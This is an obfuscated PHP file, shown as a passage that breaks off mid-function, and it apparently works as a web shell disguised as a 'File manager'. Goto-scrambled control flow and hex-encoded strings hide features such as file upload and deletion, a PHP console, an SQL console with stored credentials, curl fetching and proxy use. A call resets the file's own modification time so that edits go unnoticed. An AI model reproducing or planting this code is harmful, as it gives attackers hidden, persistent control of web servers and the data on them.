goto JTtO1; CimK3: aJwsi: goto mQNWM; qB977: $e2Q0i = basename($GjkCm) . "\56\x7a\151\160"; goto sj7ia; JBg1H: ctNIU: goto hbIl6; HnfyH: goto o8BUa; goto Zkd7d; LZi0p: curl_setopt($N2qJa, CURLOPT_HEADER, 0); goto T5qpm; a1xEU: if (!empty($C0tA4["\163\x68\157\x77\137\160\150\160\151\156\146\x6f"])) { goto lV9fD; } goto sNNbX; tjWUR: pW_zB: goto elce7; NpmqP: WuCsR: goto zwChv; OZsaP: jqPIr: goto RSVo6; PF7tb: if (is_file($wdJBd)) { goto IXGcQ; } goto RxjrK; f7DKT: if (empty($xY82V)) { goto VlIR3; } goto GXuWB; gaMMn: $O10i3 .= jnGiJ("\104\x65\154\x65\x74\145\144") . "\40" . $_REQUEST["\144\145\154\x65\x74\x65"]; goto Gyjw6; JexKn: Tzvfy: goto vSAdc; AIWAK: FIZ_t: goto WQOkH; OKIY9: wPQLV: goto erHao; s1wma: goto D5WVG; goto KI5_x; x2NyU: r8DqJ: goto qQCzD; Cer0G: PJwik: goto Uq1tu; FEJIQ: Zidlz: goto gFuxg; hST2d: goto BkQRs; goto bXXyX; lhOc3: wiSzH: goto YS9YQ; IyVa2: qcUqL: goto p93Tp; M_nst: goto MemnR; goto vkafd; sIVHp: goto bJvD_; goto MlHVp; D8SJc: Bj0fl: goto dZ1aj; gAG42: goto aS8B1; goto FYXnf; rQHG9: dC2tO: goto n_W63; trFyf: HTwPm: goto JMeYj; XC3po: if (!empty($C0tA4["\155\141\153\x65\x5f\144\151\x72\145\143\164\157\162\x79"])) { goto uRY1d; } goto nFI3B; BA7TX: goto U1ngS; goto jLO_V; picNX: if (!empty($C0tA4["\x75\160\154\157\x61\x64\137\155\x79\146\x69\154\145"])) { goto y8TjT; } goto uZW_8; KBJeI: YZBpl: goto s1wma; fZTCP: goto EJNNm; goto dhm_j; Sx0wp: goto KDX58; goto Zptt2; tfErc: goto RedDK; goto CAzzv; L5MLW: goto bvbqz; goto XpZxA; tC9yB: $Wvxq6 = json_encode(array_combine($_POST[$jICw7 . "\137\x6e\141\x6d\145"], $_POST[$jICw7 . "\x5f\x76\x61\154\165\145"]), JSON_HEX_APOS); goto ffys0; Qr7v4: goto Jiyii; goto Z8RkM; fJauR: goto MYMUU; goto m1axq; cXm97: AUTWx: goto oob8q; yuwXf: goto aX1hO; goto MNvIZ; Njfe0: goto gZ0xk; goto XjF8Q; WTUPP: wRgGl: goto vjr0y; cXSj_: GukOX: goto Gapsq; PKJfL: $GjkCm = base64_decode($_GET["\x7a\x69\160"]); goto T8lMz; pRlEX: goto eXONI; goto DuIIm; Sc_pw: Ghf7f: goto fOZ3S; mm4xG: dEszK: goto ItiDa; Durzi: goto Clxno; goto S4MI9; HsKzR: goto ZeFzX; goto N_bY_; L742U: goto YO5V_; goto R3xFC; W4DPf: goto wv7Yy; goto gmErT; qKIFP: echo "\x20\x3c\57\164\150\76\15\xa\15\12\74\57\164\162\x3e\15\12\74\x2f\x74\x68\x65\x61\x64\76\xd\xa\40\40\40\x20\x20\40\x20\40\x20\40\x20\40\x20\x20\x20\40\40\40\x20\40\x20\x20\x20\x20\x20\40\x20\x20\x20\xd\12\74\164\x62\x6f\x64\171\x3e\xd\12\xd\xa\xd\12\15\12\xd\xa"; goto U_No9; P1bBJ: j3ZA5: goto Rh5CX; NBuNt: echo "\x20\xd\xa\xd\xa\74\164\141\142\154\x65\40\143\154\x61\163\x73\x3d\42\x77\150\157\154\145\42\x3e\xd\12\40\x20\40\40\40\x20\40\40\40\x20\40\40\40\40\40\40\x20\x20\x20\x20\40\x20\x20\x20\x20\40\40\40\40\40\x20\40\40\40\x20\x20\40\x20\40\x20\xd\12\74\146\x6f\162\x6d\40\x6d\145\x74\150\x6f\x64\75\x22\160\157\163\164\x22\x20\141\143\x74\x69\157\156\75\42\42\76\15\xa\xd\xa\74\164\162\76\74\x74\150\40\143\x6f\154\x73\160\x61\156\75\x22\62\42\76" . Jngij("\x46\x69\x6c\145\40\x6d\141\x6e\x61\x67\x65\162") . "\40\55\40" . jNgIj("\x53\145\x74\164\x69\x6e\x67\x73") . "\x3c\x2f\164\150\76\x3c\x2f\164\x72\76\xd\xa" . (empty($O10i3) ? '' : "\74\164\x72\x3e\74\x74\144\40\x63\154\141\x73\x73\x3d\x22\x72\x6f\x77\x32\x22\40\x63\x6f\154\163\x70\141\156\x3d\x22\x32\42\x3e" . $O10i3 . "\74\57\164\x64\76\x3c\57\164\162\x3e") . "\xd\xa\xd\12" . omNrF(JngIj("\x53\150\x6f\x77\40\163\x69\x7a\x65\40\x6f\x66\x20\164\150\145\40\146\x6f\154\144\x65\x72"), "\x73\x68\157\167\x5f\x64\x69\x72\137\x73\x69\172\x65") . "\xd\xa" . omNRF(jNGij("\123\x68\x6f\x77") . "\x20" . jnGIj("\x70\151\x63\164\x75\162\145\163"), "\x73\150\x6f\167\x5f\x69\155\147") . "\15\12\xd\12" . OMnRF(jNGiJ("\123\x68\157\167") . "\x20" . JNgij("\x4d\141\x6b\x65\x20\x64\x69\x72\x65\x63\x74\157\162\171"), "\x6d\141\x6b\x65\137\x64\x69\162\x65\143\164\157\x72\x79") . "\15\xa\xd\xa" . OmnRF(JNgIj("\123\150\x6f\167") . "\40" . JNgij("\116\x65\167\40\x66\151\x6c\x65"), "\x6e\145\x77\137\x66\151\154\145") . "\xd\12" . OmnRf(jnGiJ("\123\150\157\167") . "\x20" . JnGIj("\x55\160\x6c\157\141\144"), "\165\160\x6c\157\x61\144\x5f\x6d\171\146\x69\x6c\x65") . "\15\12\15\12" . oMnRf(jNgij("\123\x68\157\167") . "\40\120\x48\120\40\x76\145\x72\x73\151\x6f\x6e", "\163\150\157\x77\137\x70\x68\160\137\x76\x65\x72") . "\xd\12\40\x20\40\40\40\40\40\40\x20\x20\x20\x20\40\40\40\40\40\40\40\40\40\40\x20\x20\40\x20\x20\40\40\x20\xd\12" . omNRF(jngIj("\x53\150\157\167") . "\40\x50\110\x50\x20\x69\156\151", "\x73\x68\157\x77\x5f\x70\150\160\x5f\x69\x6e\151") . "\15\12\xd\xa" . oMnRF(jngij("\x53\150\157\167") . "\40" . JnGIJ("\x47\145\x6e\x65\x72\141\164\x69\157\156\x20\164\151\x6d\x65"), "\163\x68\157\x77\x5f\x67\x74") . "\15\12\15\xa" . oMNrf(jngij("\123\150\157\167") . "\x20\170\154\x73", "\x73\x68\x6f\167\137\x78\x6c\x73") . "\xd\xa\40\x20\40\40\40\x20\40\40\x20\40\40\x20\40\x20\40\40\40\x20\x20\x20\40\x20\40\x20\40\x20\x20\40\40\40\x20\x20\x20\40\x20\x20\x20\xd\12" . OMNrF(jngiJ("\x53\150\x6f\167") . "\x20\120\110\x50\x20" . jngiJ("\103\x6f\x6e\x73\x6f\x6c\145"), "\145\156\141\x62\154\x65\137\x70\150\160\137\143\157\x6e\x73\x6f\154\x65") . "\15\xa\xd\xa" . omnRF(jNgiJ("\x53\x68\x6f\167") . "\40\123\121\x4c\x20" . JngiJ("\103\157\x6e\x73\x6f\x6c\x65"), "\145\x6e\x61\x62\154\x65\137\163\161\154\137\143\x6f\x6e\x73\x6f\x6c\x65") . "\xd\xa\x3c\164\x72\x3e\x3c\164\x64\x20\x63\x6c\x61\163\x73\75\42\x72\x6f\x77\61\x22\76\74\151\156\x70\x75\x74\40\x6e\x61\x6d\145\75\42\146\155\x5f\x63\x6f\156\146\151\147\x5b\163\x71\154\137\163\145\x72\x76\145\x72\135\x22\40\166\141\x6c\x75\x65\75\x22" . $C0tA4["\x73\161\154\137\163\x65\x72\x76\x65\162"] . "\42\x20\x74\171\160\x65\x3d\x22\x74\x65\x78\x74\42\x3e\74\x2f\x74\144\x3e\x3c\x74\144\40\143\154\x61\163\163\75\42\162\x6f\167\x32\x20\167\150\x6f\154\145\42\76\123\121\114\40\x73\x65\x72\x76\x65\x72\74\57\x74\144\x3e\74\x2f\164\x72\x3e\15\xa\74\x74\162\76\x3c\x74\x64\40\143\x6c\141\163\163\x3d\x22\162\x6f\x77\x31\42\76\74\151\156\160\x75\164\40\x6e\x61\x6d\x65\x3d\42\x66\x6d\137\x63\157\156\146\151\147\133\163\161\154\137\165\x73\145\162\x6e\x61\x6d\x65\x5d\x22\x20\x76\x61\x6c\x75\145\x3d\x22" . $C0tA4["\x73\x71\154\x5f\x75\x73\145\162\156\141\155\x65"] . "\x22\40\164\171\x70\x65\x3d\x22\x74\145\170\x74\42\x3e\74\x2f\x74\x64\76\x3c\x74\144\x20\x63\x6c\x61\163\x73\x3d\42\162\157\167\x32\40\x77\150\157\x6c\x65\x22\76\123\x51\x4c\40\165\x73\x65\162\74\57\x74\x64\x3e\74\57\x74\162\x3e\xd\12\xd\xa\x3c\164\162\76\x3c\x74\144\40\x63\154\141\163\163\75\42\162\x6f\x77\61\42\x3e\x3c\x69\156\x70\x75\x74\40\156\141\x6d\x65\75\42\x66\155\137\143\x6f\x6e\x66\151\147\x5b\163\x71\x6c\137\x70\141\163\163\x77\x6f\162\144\135\42\40\x76\x61\x6c\x75\145\x3d\x22" . $C0tA4["\163\161\x6c\x5f\160\x61\x73\x73\167\x6f\162\x64"] . "\42\x20\164\171\x70\145\75\42\164\x65\170\164\x22\x3e\x3c\x2f\164\x64\x3e\74\164\144\x20\143\x6c\x61\x73\163\75\42\162\x6f\167\62\40\167\x68\157\x6c\x65\x22\76\123\x51\x4c\40\x70\141\x73\163\167\157\x72\x64\x3c\x2f\164\144\x3e\74\x2f\x74\x72\76\xd\12\x3c\x74\162\x3e\74\164\144\x20\x63\154\x61\x73\163\75\42\x72\157\167\61\x22\76\x3c\151\156\x70\x75\x74\x20\x6e\x61\155\145\x3d\42\146\x6d\x5f\x63\157\x6e\146\151\147\133\163\x71\154\x5f\x64\142\x5d\x22\40\x76\141\x6c\165\145\x3d\x22" . $C0tA4["\x73\161\x6c\137\x64\x62"] . "\x22\40\x74\x79\160\x65\x3d\x22\x74\x65\x78\164\x22\x3e\74\x2f\164\x64\x3e\x3c\164\144\40\143\x6c\141\x73\x73\x3d\42\162\157\167\62\40\x77\150\x6f\x6c\145\42\x3e\x53\x51\x4c\40\104\x42\x3c\x2f\164\144\x3e\x3c\57\164\162\x3e\xd\12\xd\12" . oMnRF(jnGiJ("\123\x68\157\167") . "\x20\x50\162\x6f\170\171", "\145\x6e\x61\142\x6c\145\137\160\x72\x6f\170\171") . "\xd\xa\xd\xa" . omnrf(JnGiJ("\123\x68\157\167") . "\x20\x70\150\160\x69\x6e\146\x6f\50\51", "\163\150\x6f\167\x5f\x70\150\x70\151\156\x66\x6f") . "\15\12" . omnRf(JngiJ("\123\150\x6f\x77") . "\x20" . JNGij("\123\x65\164\164\x69\x6e\x67\163"), "\146\x6d\x5f\x73\x65\x74\164\151\x6e\x67\x73") . "\xd\12\15\xa" . omNRF(JNgij("\122\x65\x73\164\x6f\x72\x65\40\x66\151\x6c\145\40\164\x69\155\x65\x20\x61\146\x74\x65\162\x20\x65\144\151\x74\x69\x6e\x67"), "\x72\x65\x73\164\x6f\162\x65\x5f\x74\x69\155\x65") . "\xd\xa\40\x20\x20\x20\x20\40\x20\40\40\x20\40\40\x20\x20\40\x20\x20\40\x20\x20\40\40\40\x20\x20\40\40\40\40\40\40\x20\40\40\x20\40\x20\40\40\15\xa" . OMnRF(jNGiJ("\106\151\154\145\x20\155\x61\156\141\x67\145\x72") . "\72\x20" . JnGiJ("\122\x65\163\164\157\x72\145\x20\146\151\x6c\x65\40\x74\x69\x6d\x65\40\141\146\164\x65\162\x20\x65\144\x69\164\x69\x6e\147"), "\x66\155\x5f\x72\145\x73\164\157\162\145\x5f\x74\151\x6d\x65") . "\xd\xa\40\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\40\40\x20\40\40\40\x20\40\40\40\40\x20\x20\x20\40\40\40\40\40\x20\40\x20\40\40\40\x20\40\x20\x20\15\xa\x3c\164\x72\76\x3c\x74\144\40\x63\154\x61\x73\x73\75\42\x72\157\167\63\x22\x3e\x3c\141\x20\150\x72\x65\x66\x3d\42" . ugSt6() . "\x3f\146\155\137\x73\x65\164\164\151\x6e\x67\163\75\x74\162\165\x65\x26\x66\x6d\x5f\143\157\156\146\x69\x67\x5f\x64\145\154\145\x74\x65\75\x74\x72\x75\145\x22\x3e" . jngiJ("\122\145\x73\x65\164\40\163\145\164\164\151\156\147\x73") . "\x3c\57\141\x3e\74\57\164\144\x3e\74\164\x64\x20\143\154\141\163\x73\75\x22\162\157\167\63\42\x3e\74\x69\156\x70\x75\164\40\x74\x79\160\x65\x3d\42\x73\x75\x62\155\x69\x74\x22\40\166\141\154\x75\x65\x3d\42" . jNGIj("\x53\x61\x76\145") . "\42\40\x6e\x61\x6d\x65\x3d\x22\146\x6d\137\x63\x6f\156\x66\151\147\133\146\155\x5f\x73\x65\x74\137\x73\165\x62\x6d\x69\x74\135\x22\x3e\x3c\x2f\x74\x64\x3e\x3c\x2f\x74\162\x3e\15\12\15\12\x3c\x2f\146\157\x72\155\76\xd\xa\40\40\x20\x20\40\x20\40\40\x20\40\40\40\x20\40\x20\x20\x20\x20\x20\x20\40\x20\40\40\40\x20\40\15\xa\74\57\164\141\142\154\145\76\15\xa\74\x74\141\142\x6c\145\x3e\15\xa\xd\xa\74\x66\x6f\x72\155\x20\155\145\x74\150\157\144\x3d\x22\x70\x6f\x73\164\42\x20\x61\143\164\151\157\x6e\75\x22\42\x3e\xd\xa\40\40\x20\40\x20\x20\x20\40\x20\40\x20\40\x20\40\40\40\x20\x20\x20\x20\x20\40\40\40\x20\40\40\40\x20\x20\x20\x20\40\x20\40\40\x20\40\40\x20\15\12\74\x74\x72\x3e\74\x74\x68\x20\143\x6f\154\163\160\141\156\75\x22\x32\42\76" . JNGIJ("\x53\145\x74\x74\151\x6e\x67\x73") . "\40\55\x20" . Jngij("\101\165\x74\150\157\x72\151\x7a\141\164\x69\157\x6e") . "\74\57\x74\x68\76\74\57\164\162\x3e\xd\xa\x3c\x74\x72\76\x3c\x74\144\x20\x63\154\141\x73\x73\75\42\x72\157\x77\x31\x22\76\74\x69\156\160\x75\164\40\x6e\141\x6d\145\x3d\x22\x66\155\x5f\154\157\x67\151\x6e\133\141\165\164\x68\x6f\x72\151\x7a\x65\135\x22\x20\166\x61\x6c\x75\145\x3d\x22\61\x22\40" . ($fahGj["\141\x75\x74\x68\x6f\x72\x69\172\145"] ? "\x63\150\145\x63\x6b\145\x64" : '') . "\x20\164\171\160\x65\x3d\x22\x63\150\x65\x63\x6b\142\157\170\42\x20\151\144\75\42\141\x75\x74\150\x22\x3e\x3c\x2f\164\144\x3e\74\164\x64\40\143\x6c\x61\x73\163\75\x22\162\157\x77\62\40\167\x68\157\154\145\x22\76\74\x6c\141\142\x65\154\40\146\157\x72\75\42\141\x75\164\x68\42\x3e" . JNgIj("\101\x75\164\x68\157\162\x69\172\141\164\x69\157\x6e") . "\74\57\x6c\x61\x62\145\x6c\x3e\74\57\164\144\76\74\57\164\162\76\15\12\xd\12\x3c\x74\162\76\x3c\164\144\40\143\x6c\x61\163\x73\75\42\x72\x6f\167\61\x22\x3e\x3c\x69\x6e\160\x75\164\40\156\141\x6d\x65\x3d\x22\146\x6d\137\x6c\x6f\147\151\156\133\154\x6f\x67\x69\x6e\x5d\x22\x20\x76\141\x6c\165\145\x3d\x22" . $fahGj["\x6c\x6f\147\151\x6e"] . "\x22\x20\x74\171\160\145\75\x22\x74\145\170\x74\x22\76\74\57\x74\x64\76\74\x74\x64\x20\x63\x6c\x61\163\x73\75\x22\x72\x6f\167\62\40\167\x68\x6f\154\145\42\76" . jnGIJ("\x4c\x6f\147\151\x6e") . "\74\x2f\x74\x64\76\74\57\164\162\x3e\xd\xa\xd\xa\x3c\164\162\76\74\164\144\x20\x63\154\x61\x73\x73\75\42\x72\157\167\x31\x22\76\x3c\151\x6e\x70\165\164\40\x6e\x61\155\145\75\42\x66\155\x5f\154\157\147\151\x6e\133\x70\x61\x73\x73\167\x6f\162\144\135\x22\40\166\x61\x6c\x75\x65\75\42" . $fahGj["\x70\141\x73\x73\167\157\162\x64"] . "\x22\40\x74\x79\160\145\x3d\x22\x74\x65\170\164\42\76\74\57\x74\144\x3e\x3c\164\144\x20\x63\154\x61\x73\x73\x3d\42\162\157\x77\x32\40\x77\x68\x6f\154\x65\42\76" . JnGIj("\120\x61\x73\163\167\x6f\x72\144") . "\x3c\57\x74\144\x3e\74\x2f\x74\x72\x3e\xd\xa\15\xa\x3c\x74\x72\x3e\x3c\164\x64\40\x63\x6c\x61\x73\x73\x3d\42\x72\x6f\167\x31\x22\76\74\x69\156\x70\x75\x74\40\156\x61\155\145\x3d\42\146\155\137\x6c\157\147\x69\156\133\x63\x6f\x6f\153\x69\145\137\x6e\x61\155\145\x5d\42\x20\x76\141\x6c\165\145\75\42" . $fahGj["\143\157\157\153\151\145\x5f\x6e\141\x6d\x65"] . "\x22\x20\164\x79\160\145\75\x22\x74\x65\170\x74\42\76\74\57\x74\x64\x3e\74\164\144\40\x63\154\x61\x73\163\75\42\162\x6f\x77\62\40\x77\x68\157\x6c\x65\42\x3e" . jNGiJ("\x43\x6f\157\x6b\151\145") . "\74\57\x74\144\x3e\74\57\164\162\x3e\15\xa\x20\40\x20\40\40\x20\x20\x20\40\x20\40\40\40\40\x20\40\x20\40\x20\x20\x20\40\40\40\x20\x20\40\15\xa\74\164\x72\x3e\74\x74\144\40\143\x6c\141\163\163\x3d\42\162\x6f\167\x31\x22\x3e\x3c\x69\x6e\x70\x75\x74\x20\x6e\x61\x6d\x65\x3d\42\146\x6d\137\154\x6f\147\x69\x6e\133\x64\141\171\x73\137\141\165\164\x68\157\162\x69\x7a\x61\x74\151\x6f\156\x5d\x22\40\x76\x61\154\x75\145\75\x22" . $fahGj["\x64\x61\171\x73\137\x61\x75\164\x68\157\x72\x69\x7a\x61\164\151\157\156"] . "\42\x20\164\x79\x70\145\x3d\42\164\x65\x78\164\42\x3e\74\x2f\x74\x64\76\x3c\x74\x64\40\x63\154\x61\x73\x73\75\x22\x72\157\x77\62\40\167\x68\x6f\154\x65\42\x3e" . jNgIJ("\x44\141\x79\x73") . "\x3c\57\164\x64\76\x3c\57\164\162\x3e\15\12\xd\12\x3c\x74\x72\76\74\x74\x64\x20\143\x6c\x61\163\x73\x3d\x22\x72\157\x77\61\x22\x3e\74\x74\145\170\164\141\x72\145\141\40\x6e\x61\x6d\x65\x3d\x22\x66\155\137\x6c\157\147\151\x6e\133\163\143\162\151\160\x74\135\x22\x20\x63\x6f\154\x73\75\42\x33\x35\x22\x20\162\157\167\x73\x3d\x22\x37\42\x20\143\154\141\x73\163\x3d\x22\164\x65\x78\x74\141\x72\145\141\137\x69\x6e\x70\165\164\42\40\x69\144\x3d\x22\141\x75\164\x68\137\x73\x63\162\x69\160\x74\42\x3e" . $fahGj["\x73\x63\162\x69\160\x74"] . "\x3c\57\x74\x65\x78\164\x61\x72\145\x61\76\x3c\57\x74\x64\x3e\x3c\164\x64\x20\x63\x6c\x61\163\163\x3d\x22\162\157\x77\62\x20\x77\150\157\x6c\x65\42\x3e" . jNGiJ("\x53\143\162\151\x70\x74") . "\x3c\x2f\164\144\76\x3c\x2f\x74\x72\76\15\12\xd\12\x3c\164\x72\x3e\x3c\164\x64\x20\x63\157\x6c\163\160\141\x6e\75\x22\x32\42\40\143\154\x61\163\x73\75\x22\162\x6f\x77\x33\x22\x3e\74\151\x6e\160\x75\164\x20\164\171\160\x65\x3d\42\163\x75\x62\x6d\x69\164\x22\40\x76\141\x6c\165\x65\75\42" . JngIj("\123\x61\166\145") . "\42\40\76\74\x2f\164\144\x3e\74\x2f\164\x72\76\15\xa\xd\12\74\x2f\146\x6f\162\x6d\76\xd\xa\74\x2f\164\141\x62\154\145\x3e"; goto CYuaO; Ay_XD: goto QusPb; goto xhUNY; biePJ: goto N1w0u; goto cG08L; cZAqR: touch(__FILE__, $A1eqp); goto yX5SZ; DJSHp: goto gfcam; goto wZh1t; X7Bsf: ipZf_: goto hICsp; ygCy6: ujRV_: goto yYZp0; APL9_: $Wvxq6 = json_encode(json_decode(${$jICw7 . "\x5f\x74\145\155\160\154\141\164\145\x73"}, true) + array($_POST[$jICw7 . "\x5f\x6e\145\167\137\x6e\141\x6d\x65"] => $_POST[$jICw7 . "\x5f\x6e\145\167\137\x76\x61\x6c\x75\x65"]), JSON_HEX_APOS); goto jpWoN; RNdwy: goto iGS4x; goto p2s_J; JZEJx: goto uG66d; goto brWXD; cada4: IPE0W: goto tGAfL; XHxj_: function hOzsz($pjTS4) { goto WIbLx; JLVXn: goto QlHoT; goto HVssE; yIBAx: $vNVrv = (int) $pjTS4[6] + (int) $pjTS4[7] + (int) $pjTS4[8]; goto gBT4s; DrTYX: goto vcBA8; goto CvU70; p7w93: $pjTS4 = strtr($pjTS4, $Y29UL); goto QRczC; A2w2W: NRqlb: goto yIBAx; ZlHat: STOy9: goto ABkdP; HDMX3: pli0b: goto cVYJ2; WnLfS: goto pli0b; goto WxRbM; bUgeZ: QlHoT: goto FaWyl; HVssE: APONv: goto p7w93; CvU70: x3QxA: goto IOHoE; FNr1K: $pjTS4 = str_pad($pjTS4, 9, "\x2d"); goto JLVXn; gBT4s: goto STOy9; goto bUgeZ; ABkdP: $NhMDr .= $Pbvy0 . $veP0z . $vNVrv; goto DrTYX; FaWyl: $Y29UL = array("\55" => "\60", "\x72" => "\x34", "\x77" => "\62", "\x78" => "\x31"); goto t2rUf; WIbLx: goto BO2wb; goto x1X9G; x1X9G: BO2wb: goto FNr1K; eBK7W: yInJC: goto EldsA; WTbp1: return intval($NhMDr, 8); goto WnLfS; A1lVB: vcBA8: goto WTbp1; QRczC: goto x3QxA; goto A1lVB; EldsA: $veP0z = (int) $pjTS4[3] + (int) $pjTS4[4] + (int) $pjTS4[5]; goto r5ATm; IOHoE: $NhMDr = "\60"; goto G5DzN; VZR3j: $Pbvy0 = (int) $pjTS4[0] + (int) $pjTS4[1] + (int) $pjTS4[2]; goto TWjYf; WxRbM: eh8YD: goto VZR3j; TWjYf: goto yInJC; goto A2w2W; r5ATm: goto NRqlb; goto HDMX3; G5DzN: goto eh8YD; goto eBK7W; t2rUf: goto APONv; goto ZlHat; cVYJ2: } goto sR02_; kHdu0: CTWCK: goto ImVMy; vSqCu: echo $O10i3; goto wxmLo; AKDJd: Nm0pT: goto AD70U; p5oun: IO15N: goto uF4xn; fg7E3: goto T0yaB; goto VBKxF; wX7fc: QsVhW: goto r8uVg; rzKRP: niOKG: goto u9Hyi; NnH_E: g10bl: goto sZtST; PQB11: goto qd3BJ; goto CmrJB; sk9qZ: sbmHn: goto IwUQL; IKdt0: fbOxl: goto YOEV3; AaFmr: echo "\x20\40\40\40\x20\x20\x20\40\40\x20\x20\x20\40\x20\x20\x20\40\x20\40\x20\x20\40\40\x20\40\15\xa\11\11\x20\x20\40\x20\x20\x20\x20\40\x20\x3c\x2f\146\157\x72\x6d\76\15\xa\xd\12\11\74\x2f\x74\144\x3e\15\xa\40\40\x20\x20\x20\40\x20\x20\x20\40\40\40\x20\40\x20\x20\x20\40\40\40\x20\40\x20\x20\x20\40\40\40\x20\x20\40\40\xd\xa\x3c\x2f\x74\x72\x3e\xd\12\xd\12\x3c\57\x74\x61\x62\154\x65\x3e\xd\xa"; goto isSqw; tU71i: GVqSB: goto nWsuH; GVIBz: iXygK: goto aziJU; KeORF: goto W1JiB; goto AuBev; T8lMz: goto vEeCs; goto qFwE1; fPoAn: goto wRgGl; goto k9Nrd; tVd91: $N2qJa = curl_init($IZ9dM); goto caQEQ; ttKWC: HiuJK: goto qlrof; w_p9N: Xdzs_: goto Tkk73; wutnM: fxrWr: goto prDhg; TsGRP: goto ftoSb; goto imb0P; CEev8: MyHdM: goto xQW3W; bkK7c: echo JnGiJ("\106\151\x6c\145\40\x6d\141\156\x61\x67\145\162"); goto A3sup; leYjz: goto NFZfh; goto unlpd; eM0ii: HiYt6: goto hST2d; SZgev: goto WVZBU; goto iBqOF; qjhQv: goto D2KSu; goto WFlFu; OewwD: goto pbwt4; goto SlQO0; O7U4i: boyy0: goto oTiBm; FWILx: echo "\xd\xa\x9\11\x20\40\x20\x20\x20\40\x20\x20\x20\x9\74\x2f\164\144\x3e\15\xa\xd\12\x20\40\40\40\x20\x20\x20\x20\40\x20\x20\x20\40\x20\x20\40\x20\x20\x20\x20\xd\12\xd\xa\15\12\x9\11\40\40\x20\40\40\x20\40\x20\40\x9\74\164\x64\x3e\15\xa\xd\xa\11\x9\40\40\40\x20\40\x20\x20\x20\x20\x9"; goto g0WYH; Wr4r_: goto oD7aA; goto tU71i; Wg5dA: goto Qp4Kg; goto MWoH5; O_VNf: echo "\x22\76\15\xa\x20\40\x20\x20\x20\40\40\x20\x20\40\x20\40\x20\40\40\x20\40\x20\40\40\x20\x20\x20\x20\x20\40\40\40\x20\40\x20\x20\40\40\x20\x20\x20\x20\x20\x20\15\12\40\x20\x20\40\x20\40\x20\40\x20\x20\40\x20"; goto r3eHH; brRB5: goto xtWFH; goto KzOxH; kEZHh: unlink($wdJBd . "\x2e\147\x7a"); goto R9QG2; itdos: nV8WO: goto GisKN; wTzc3: fwtut: goto rU6Ub; hiqA1: echo jNgIJ("\x52\x65\156\141\x6d\x65"); goto GXBhy; zGDd_: echo "\x22\76\xd\xa\15\xa\11\x9\x20\x20\x20\40\40\40\x20\40\40\11\x9\40\x20\40\x20\x20\x20\x20\x20\40\x3c\x69\x6e\x70\165\x74\x20\164\x79\x70\145\x3d\42\150\x69\x64\144\145\156\x22\40\156\x61\155\x65\x3d\42\160\x61\164\x68\42\x20\40\x20\40\40\166\x61\x6c\x75\145\x3d\42"; goto Hsply; mR2LB: $q6pGo = preg_match("\43\141\165\x74\150\157\162\x69\172\141\x74\151\157\x6e\x5b\x5c\163\x5d\x3f\134\75\x5b\134\x73\x5d\x3f\x27\x5c\x7b\134\42\x28\56\52\x3f\51\134\x22\134\x7d\x27\x3b\x23", $lpHQQ, $F3M0G); goto Njfe0; Zy5ut: goto CuWK0; goto bvkeX; zIPbh: a0I7w: goto Rw9EM; WKv8T: echo "\72\40\74\x69\x6e\160\165\x74\40\x74\x79\160\145\x3d\x22\164\145\x78\164\x22\40\x6e\141\x6d\x65\x3d\x22\x6e\x65\167\x6e\x61\x6d\x65\42\40\166\141\x6c\165\145\x3d\x22"; goto EthCK; ifn2M: K7EaA: goto nXwve; fg_p3: goto Zlgd6; goto vfIUF; v6dmb: goto cesNv; goto MYXWh; WvDSi: if (empty($_POST["\x66\x6d\x5f\154\x6f\147\151\156"]["\x61\165\164\x68\157\x72\x69\172\145"])) { goto mV6LV; } goto NBZM8; oZZdZ: echo "\x22\76\xd\xa\x20\x20\x20\40\40\x20\40\x20\x3c\57\x66\x6f\x72\x6d\76\xd\12\xd\xa\x20\x20\x20\x20\74\x2f\x74\144\76\15\xa\xd\xa\x3c\57\164\x72\76\xd\xa\x3c\x2f\x74\x61\x62\154\145\76\xd\12\xd\xa"; goto Cr3pf; WmF2P: goto mpvYt; goto zBqKM; FPI_t: ti4bu: goto Q9LGi; uaDt_: echo "\x22\x20\57\x3e\xd\xa\x9\11\40\x20\40\x20\x20\x20\40\40\x20\11\x9\x20\x20\40\40\x20\40\40\x20\40\74\x69\156\160\165\164\40\x74\171\x70\x65\x3d\x22\x74\x65\170\x74\x22\40\x20\x20\156\x61\x6d\x65\x3d\x22\146\x69\154\x65\x6e\141\155\145\42\40\x73\151\x7a\x65\75\x22\x31\65\x22\x3e\xd\xa\40\40\x20\40\x20\40\x20\40\x20\40\40\40\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\40\40\x20\40\40\x20\xd\12\x9\11\x20\40\40\40\x20\40\x20\40\40\x9\x9\x20\x20\40\x20\40\x20\40\x20\40\74\x69\156\x70\x75\x74\40\x74\171\x70\145\x3d\x22\x73\165\142\155\x69\164\x22\x20\156\x61\155\145\75\42\155\153\146\151\154\x65\42\40\x20\40\166\141\154\165\145\x3d\x22"; goto t5xUB; Ln3ax: $CuIdg = !empty(${$GCQI2}) ? json_decode(${$GCQI2}, true) : ''; goto qXVTh; qkI7R: Xuv8o: goto kkFNE; zMQDr: echo "\40\x3c\x2f\x74\x68\x3e\15\xa\15\xa\40\x20\40\40\74\x74\150\x20\x73\x74\x79\154\x65\x3d\42\167\150\151\x74\x65\55\x73\160\x61\x63\145\x3a\x6e\157\x77\162\x61\160\x22\x3e\x20"; goto W6DKi; RIqa_: goto n1Tbh; goto fcahS; Z_S_3: akl3K: goto sLOz8; qdT_7: echo "\xd\12\74\x74\x61\x62\x6c\x65\40\x62\157\162\x64\x65\162\75\x27\x30\47\40\143\x65\154\154\163\160\141\x63\x69\x6e\x67\75\x27\x30\47\x20\x63\x65\154\x6c\160\141\144\x64\x69\156\147\75\x27\x31\47\x20\x77\x69\x64\x74\x68\x3d\x22\x31\x30\60\45\42\x3e\xd\xa\74\164\x72\76\15\xa\15\xa\x20\x20\x20\40\x3c\x74\x68\x3e"; goto esG13; sx7bW: goto bbPhB; goto Qa2n3; gbMOz: sKd47: goto ziqqY; tdVyV: goto ISKi_; goto UpqwM; CR0a_: goto huXhW; goto xBKPt; VMCmz: goto fukTJ; goto LiNrg; KFkkT: goto n_wJm; goto w_p9N; im3Xf: lKsBT: goto NuOmq; FqTXZ: goto U8Wax; goto F9QsV; swX1M: function EEETf($A7Wqm = "\52", $zdVUV = true) { goto oa5lH; JI2Bo: goto TaBDS; goto B9eIQ; MQ9vW: gfxTb: goto r3iBy; OXxwz: cjrQZ: goto x7s_H; x7s_H: fwrite($wiK9i, $U_aEc); goto iD9_w; r3iBy: global $VLMCB; goto UDjXU; SY6DM: goto cjrQZ; 